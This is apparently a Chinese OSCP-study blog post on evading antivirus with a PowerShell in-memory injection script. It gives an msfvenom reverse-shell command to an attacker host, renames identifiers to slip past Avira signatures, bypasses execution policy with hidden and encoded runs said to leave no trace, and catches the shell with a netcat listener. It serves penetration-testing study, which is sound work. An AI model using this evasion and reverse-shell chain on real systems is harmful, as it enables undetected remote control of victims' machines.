❾⁄₈ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 本地进程内存注入实践(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​​​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 防病毒软件概述 ➢本地进程内存注入实践(下)🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.防病毒软件规避

[1.3 规避防病毒软件实践](#1.3 规避防病毒软件实践)

[1.3.2 开始实践](#1.3.2 开始实践)

[1.3.2.4 PowerShell脚本防病毒检测分析](#1.3.2.4 PowerShell脚本防病毒检测分析)

[1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测](#1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测)

1.修改操作步骤

2.测试结果

[1.3.2.6 运行修改后的PowerShell脚本](#1.3.2.6 运行修改后的PowerShell脚本)

1.启动并运行脚本(出错)

2.执行策略说明

3.解决当前PowerShell执行策略限制

[1.3.2.7 实现反向Shell](#1.3.2.7 实现反向Shell)

1.建立攻击监听端

2.执行绕过脚本(成功)

3.攻击完成与结果

4.重要警示与局限

[1.3.3 完整攻击链总结](#1.3.3 完整攻击链总结)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.防病毒软件规避

1.3 规避防病毒软件实践

1.3.2 开始实践

由于寻找一个能绕过所有杀毒软件 的通用方案极为困难且不切实际,在渗透测试时间有限的前提下,最高效的策略 是针对目标网络内实际部署的特定杀毒产品进行定向测试与绕过。

接前文,我们已经定制了一个完整的内存注入攻击脚本,其中包含了实现反向 Shell 功能的核心载荷(反向shell到攻击者主机)。

在本文中,将验证这个powershell脚本(.ps1格式)是否可以被防病毒产品检测出来。如果会,则需要对该脚本进行修改,尝试绕过。并最终再次测试,直到成功为止。


1.3.2.4 PowerShell脚本防病毒检测分析

📊 检测概况

为了验证PowerShell脚本是否会被防病毒产品识别为恶意文件,我们首选的在线检测和分析恶意软件样本的工具是Antiscan.Me,但可悲的是,它不支持ps1格式(powershell脚本扩展名),所以不得不求助于VirusTotal。

我们通过VirusTotal平台进行了在线扫描测试。

🔍 检测结果速览

项目 数据
扫描平台 VirusTotal
支持格式 .ps1 (PowerShell脚本)
参与检测产品数(防病毒软件) 59款
标记为恶意的产品数 28款
检测率 ≈47.5%
本次测试主机安装的杀毒软件 Avira同样标记为恶意**,说明要对.ps1脚本进行绕过处理!!**

⚠️ 关键发现 :本次测试中,近半数防病毒产品将脚本判定为恶意,包括测试主机安装的Avira,说明常规PowerShell恶意脚本容易被识别。


1.3.2.5 修改.ps脚本中的变量名以绕过防病毒检测

🎯 绕过原理

防病毒产品对恶意脚本的检测,很大程度上依赖于静态字符串签名 ------即识别脚本中特定的++函数名、变量名++ 等有意义代码片段。由于PowerShell脚本是解释型文本文件 ,其结构比二进制文件更灵活,因此重命名关键标识符可有效干扰静态签名匹配,从而绕过基础检测。

1.修改操作步骤

将原始脚本中的硬编码类名与函数名进行"无害化"重命名:

原始名称 修改后名称 说明
Win32 iWin32 类名通用化
sc var1 变量名泛化
winFunc var2 函数名泛化

操作流程

  1. 定位脚本中特征明显的标识符

  2. 替换为常见、通用的名称

  3. 另存为新文件(如 bypass.ps1

2.测试结果

把修改后的**bypass.ps1文件传输到安装** Avira 的 Windows 11 客户端上执行快速扫描(Security选项---选择Virus Scans---点击Quick Scan选项下的Scan):

扫描项 结果
原始脚本 被标记为恶意(隔离/删除)
修改后脚本(bypass.ps1) 未被检测为恶意

结论 :通过简单的重命名操作,脚本已能绕过 Avira 的静态签名检测,可正常运行而不被拦截。

⚠️ 重要注意事项

虽然该方法在本测试中有效,但需注意:

  • 云端检测风险 :如将修改后脚本上传至 VirusTotal 等平台,可能触发更高级的云机器学习引擎,导致样本被分析并标记,从而使绕过失效。

  • 影响渗透测试:公开上传可能会使样本被安全厂商收录,影响后续测试的隐蔽性。


1.3.2.6 运行修改后的PowerShell脚本

1.启动并运行脚本(出错)

由于msfvenom默认生成的payload针对x86架构 ,我们需要在Windows 11系统中启动32位版本的PowerShell来确保兼容性。

**注意:**如果要明确指定架构或平台可以使用下面命令:

复制代码
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -a x64 --platform Windows -f powershell > bypass.ps1

启动方式

  • 在开始菜单搜索栏输入 Windows PowerShell (x86)

  • 或在运行对话框中输入 powershell -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden 启动32位版本

    复制代码
    # 明确指定平台(如果需要)
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File bypass.ps1
  • 运行bypass.ps1,出现报错!!! 出现错误提示:执行策略(Execution Policies)阻止了脚本运行 。PowerShell执行策略是一种安全机制,用于控制脚本的执行条件。

2.执行策略说明

根据Microsoft官方文档,执行策略是按每个系统用户范围 设置的,而非系统级别 。默认策略通常较为严格,旨在防止恶意脚本执行(详见:官方执行策略说明)。
执行策略(Execution Policies) 是Windows PowerShell中用于控制脚本执行行为的安全特性。它作为一道防护屏障,防止恶意脚本自动执行,保护系统免受未授权代码运行的影响。

🎯 执行策略的核心作用

作用 说明
访问控制 定义哪些脚本可以运行,哪些被阻止
安全防护 防止意外运行有害脚本
灵活管理 提供多层次的安全控制选项
风险缓解 降低恶意脚本自动执行的威胁

⚠️ 重要提示 :执行策略不是强制性的安全边界 ,而是防止++用户++无意中运行有害脚本的辅助机制。

🌐 **执行策略作用域级别:**优先级层次(从高到低)如下:

作用域 影响范围 持久性 适用场景
🔴 Process 当前PowerShell会话 会话结束即失效 临时测试、单次运行
🟡 CurrentUser 当前用户 永久生效 个人用户定制设置
🟢 LocalMachine 所有用户 永久生效 系统全局配置(管理员权限)
🔵 UserPolicy 特定用户 组策略管理 企业用户管理
🔵 MachinePolicy 特定计算机 组策略管理 企业计算机管理

📊 常见执行策略级别:

策略级别 安全等级 脚本执行权限 典型应用场景
🚫 Restricted(默认) 最高 仅交互式命令 最安全,禁止所有脚本
⚠️ RemoteSigned 本地脚本+签名远程脚本 企业环境,平衡安全与便利
🟡 AllSigned 仅签名脚本 高安全要求环境
🟢 Unrestricted 所有脚本(有警告) 开发测试环境
🔴 Bypass 无限制,无警告 自动化任务、渗透测试
⚪ Undefined 不定 继承上级策略 未明确设置状态

🔧 查看与设置执行策略

①查看当前策略

复制代码
# 查看所有作用域的策略
Get-ExecutionPolicy -List

# 查看当前用户策略
Get-ExecutionPolicy -Scope CurrentUser

②设置执行策略

复制代码
# 设置当前用户策略为RemoteSigned
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

# 设置本地计算机策略(需要管理员权限)
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine

③临时绕过策略(推荐渗透测试使用)

复制代码
# 单次会话绕过,不留痕迹
powershell.exe -ExecutionPolicy Bypass -File script.ps1

🔄 最佳实践建议

  • 开发环境 :使用RemoteSignedUnrestricted

  • 生产环境 :使用AllSignedRemoteSigned

  • 渗透测试 :使用-ExecutionPolicy Bypass参数临时执行

  • 企业环境:通过组策略统一管理,确保一致性


3.解决当前PowerShell执行策略限制

①查看当前用户策略

复制代码
Get-ExecutionPolicy -Scope CurrentUser

结果 :显示为 Undefined(未定义),实际上会继承更高级别的限制策略。

②更改执行策略

复制代码
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

参数说明

  • -ExecutionPolicy Unrestricted:设置为无限制模式

  • -Scope CurrentUser:仅修改当前用户策略

现在,成功将当前用户的执行策略设置为 Unrestricted ,可以正常运行 bypass.ps1 脚本了。

③替代方案

在实际渗透测试中,更推荐使用临时绕过方式,避免留下系统修改痕迹:

方法一:命令行参数绕过

复制代码
powershell.exe -ExecutionPolicy Bypass -File bypass.ps1

方法二:编码命令执行

复制代码
powershell -EncodedCommand <Base64编码的脚本>

方法对比:

方法 持久性 痕迹 推荐场景
Set-ExecutionPolicy 永久更改 留下日志 需要长期使用
-ExecutionPolicy Bypass 单次生效 无持久痕迹 渗透测试首选
-EncodedCommand 单次生效 无痕迹 隐蔽执行

建议 :在实际攻击中,优先使用-ExecutionPolicy Bypass参数单次运行脚本,既能执行所需操作,又最大程度减少对目标系统的影响和检测风险。


1.3.2.7 实现反向Shell

1.建立攻击监听端

在Kali攻击机上,我们首先启动一个Netcat监听器 ,这是接收反弹连接的"后门"。通过执行命令 nc -lvnp 443,在443端口上开启了一个静默的监听服务,等待目标主机主动连接回来。

2.执行绕过脚本(成功)

在目标Windows 11主机上,我们运行了已经过修改和绕过的 bypass.ps1 脚本。得益于前期的两项关键操作,脚本得以顺利执行:

  • 静态签名绕过:通过重命名关键变量和函数,脚本躲过了防病毒软件(Avira)基于静态签名的检测。

  • 执行策略绕过 :通过调整或临时绕过PowerShell的ExecutionPolicy,清除了系统自身的安全策略障碍。

3.攻击完成与结果

脚本执行后,其内嵌的Shellcode 会在目标++内存中++运行主动向攻击机的监听端口发起网络连接 。连接成功后,我们在Kali的Netcat终端上立即获得了一个交互式命令行Shell 。这标志着一次成功的无文件攻击,因为恶意负载全程在内存中执行,无需在磁盘上落地可执行文件。

核心成果 :我们成功地规避了传统防病毒产品(Avira)的检测,实现了从目标系统到攻击机的远程控制通道。

4.重要警示与局限

尽管本次测试绕过了传统防病毒软件,但点出了一个至关重要的现实:

  • 对抗EDR的挑战 :在现代企业安全环境中,更高级的终端检测与响应(EDR) 系统普遍部署。这些系统不仅依赖静态签名,更通过:行为监控、异常检测、机器学习云威胁情报来发现可疑活动。

  • 攻击可能暴露 :一个熟练的安全运营中心(SOC)在配备强大EDR的情况下,完全有可能实时检测到此类恶意进程创建、网络连接异常行为,并向安全团队发出警报,从而在很短时间内(例如几分钟)使这次攻击失效并被追溯。


1.3.3 完整攻击链总结

本次演示构建了一个清晰的攻击链路,揭示了从载荷生成到最终控制的完整闭环:

  1. 载荷生成 :使用 msfvenom 生成PowerShell格式的Shellcode。

  2. 检测测试:通过VirusTotal验证原始脚本的检出率。

  3. 静态绕过:修改变量/函数名,混淆脚本以绕过静态签名检测。

  4. 环境适配:解决脚本架构(x86)与执行策略的兼容性问题。

  5. 建立监听:在攻击端配置Netcat等待反向连接。

  6. 执行与控制:在目标端运行绕过脚本,成功获取反向Shell。

最终结论 :虽然简单的签名绕过技术在对传统防病毒软件(AV) 的测试中可能奏效,但面对具备高级威胁狩猎能力的现代EDR和SOC,攻击的隐蔽性和成功率将大幅下降。这强调了在真实攻防对抗中,需要采用更为复杂和多层次的技术(如代码加密、API间接调用、进程注入、信任进程伪装等)来规避动态和行为检测。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
黄乔国PHP|JAVA|安全1 天前
网络安全开源靶场Vulfocus靶场搭建指南[2026最新版本]
安全·web安全·网络安全·开源·网络安全靶场·vulfocus靶场
ShoreKiten1 天前
ctfshow-web164
网络安全·web
ShoreKiten1 天前
ctfshow-web163
网络安全·web·rfi
汉堡包0011 天前
【网安基础】--Spring/Spring Boot RCE 解析与 Shiro 反序列化漏洞的关联(包括简易加密方式梳理)
学习·安全·spring·信息安全
汤愈韬1 天前
FW旁挂实验
网络协议·网络安全·security·huawei
盛满暮色 风止何安1 天前
负载均衡的部署模式
运维·服务器·网络·网络安全·负载均衡
Wang15302 天前
网络安全与技术应用投期刊攻略
网络安全
若尘啊若辰2 天前
安全通用要求之十安全运维管理
网络·数据库·网络安全·等保·等级保护·安全通用要求
grrrr_12 天前
【漏洞复现】CVE-2025-54100
安全·网络安全